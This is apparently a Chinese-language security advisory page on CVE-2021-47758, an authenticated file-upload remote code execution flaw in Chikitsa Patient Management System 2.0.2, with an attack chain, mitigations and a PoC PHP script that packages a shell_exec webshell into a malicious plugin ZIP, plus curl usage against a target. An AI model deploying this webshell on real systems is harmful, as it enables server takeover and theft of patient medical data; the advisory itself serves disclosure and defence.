IPBUF安全漏洞报告
English
CVE-2021-47758 CVSS 8.8 高危

CVE-2021-47758: Chikitsa Patient Management System 2.0.2 远程代码执行漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2021-47758
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chikitsa Patient Management System

相关标签

CVE-2021-47758远程代码执行文件上传漏洞PHP后门Chikitsa医疗系统Web安全认证后漏洞webshell高危漏洞

漏洞概述

Chikitsa Patient Management System 2.0.2存在一处严重的认证后远程代码执行漏洞。该系统是一款面向医疗机构设计的患者管理软件,用于管理患者信息、预约、就诊记录等敏感医疗数据。漏洞源于系统的模块上传功能缺乏充分的文件安全验证,攻击者在获取低权限账户后,可以构造包含恶意PHP代码的ZIP压缩包并通过模块上传接口上传到服务器。上传成功后,攻击者访问上传的PHP文件即可在服务器上执行任意系统命令,从而完全控制目标服务器。该漏洞CVSS评分高达8.8,属于高危级别,对系统的机密性、完整性和可用性均造成严重影响。由于Chikitsa系统通常存储有大量患者隐私数据和医疗记录,一旦被攻击者利用,将导致严重的医疗数据泄露风险。

技术细节

该漏洞的根本原因在于Chikitsa Patient Management System的模块上传功能存在安全缺陷。系统在实现模块上传时,未对上传文件的内容进行充分的安全检查,特别是对PHP文件类型的验证不足。攻击流程如下:首先,攻击者需要拥有一个有效的低权限用户账户(任何注册用户均可)。登录后,攻击者访问模块上传功能入口,通常位于管理后台的插件或模块管理页面。攻击者构造一个包含恶意PHP后门代码的ZIP压缩包,其中包含一个plugin.json配置文件和一个包含webshell的PHP文件。系统在接收ZIP文件后,仅检查文件扩展名和基本的ZIP格式,未对压缩包内的PHP文件内容进行安全审查。攻击者上传ZIP包后,系统会将其解压到指定目录,恶意PHP文件被存储在可被Web访问的路径下。攻击者通过浏览器或HTTP工具访问该PHP文件,并携带攻击命令参数,即可在服务器上以Web服务用户权限执行任意系统命令。由于系统通常以较高权限运行,攻击者可能进一步通过sudo、SUID等机制实现权限提升。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的Chikitsa Patient Management System版本,确认版本为2.0.2或存在漏洞的早期版本
STEP 2
Account Acquisition
攻击者注册新账户或利用已有低权限账户登录系统,获取有效的会话认证
STEP 3
Malicious Payload Preparation
攻击者构造包含PHP webshell的ZIP压缩包,包含plugin.json配置文件和含有后门代码的PHP文件
STEP 4
Plugin Upload
通过系统的模块上传功能,上传构造好的恶意ZIP文件,系统未进行充分安全检查即接收文件
STEP 5
Backdoor Activation
访问上传的PHP后门文件,携带命令执行参数触发webshell
STEP 6
Remote Command Execution
成功在服务器上执行任意系统命令,可进一步进行数据窃取、横向移动或部署持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // Malicious plugin for CVE-2021-47758 - Chikitsa RCE // Author: [email protected] // Create malicious PHP backdoor $backdoor = '<?php\n'; $backdoor .= 'if(isset($_REQUEST["cmd"])){\n'; $backdoor .= ' $cmd = $_REQUEST["cmd"];\n'; $backdoor .= ' echo "<pre>";\n'; $backdoor .= ' $output = shell_exec($cmd);\n'; $backdoor .= ' echo $output;\n'; $backdoor .= ' echo "</pre>";\n'; $backdoor .= '}\n'; $backdoor .= '?>\n'; // Plugin configuration $plugin_json = json_encode([ 'name' => 'Malicious Plugin', 'version' => '1.0', 'description' => 'Evil module for CVE-2021-47758', 'author' => 'Attacker' ], JSON_PRETTY_PRINT); // Create ZIP archive $zip = new ZipArchive(); $zipFile = 'malicious_plugin.zip'; if ($zip->open($zipFile, ZipArchive::CREATE) === TRUE) { $zip->addFromString('plugin.json', $plugin_json); $zip->addFromString('module.php', $backdoor); $zip->close(); echo "PoC ZIP created: $zipFile\n"; } else { echo "Failed to create ZIP\n"; } /* Exploitation steps: 1. Login to Chikitsa PMS with low-privilege account 2. Navigate to Module Upload functionality 3. Upload the malicious_plugin.zip file 4. Access uploaded backdoor at: http://target/path/module.php?cmd=whoami 5. Execute arbitrary commands Example curl command: curl -X GET 'http://target/path/uploads/plugin_name/module.php?cmd=id' */

影响范围

Chikitsa Patient Management System 2.0.2
Chikitsa Patient Management System < 2.0.2

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 限制module upload功能的访问权限,仅允许受信任的管理员使用;2) 在Web服务器配置中禁用上传目录的PHP脚本执行权限(通过.htaccess或nginx配置);3) 实施文件上传白名单机制,仅允许上传安全的文件类型;4) 对所有上传文件进行内容安全扫描,检测恶意代码特征;5) 启用详细的访问日志和文件上传审计,及时发现异常行为;6) 考虑临时关闭模块上传功能,待官方发布安全更新后再启用;7) 加强用户认证机制,实施多因素认证降低账户被盗用风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表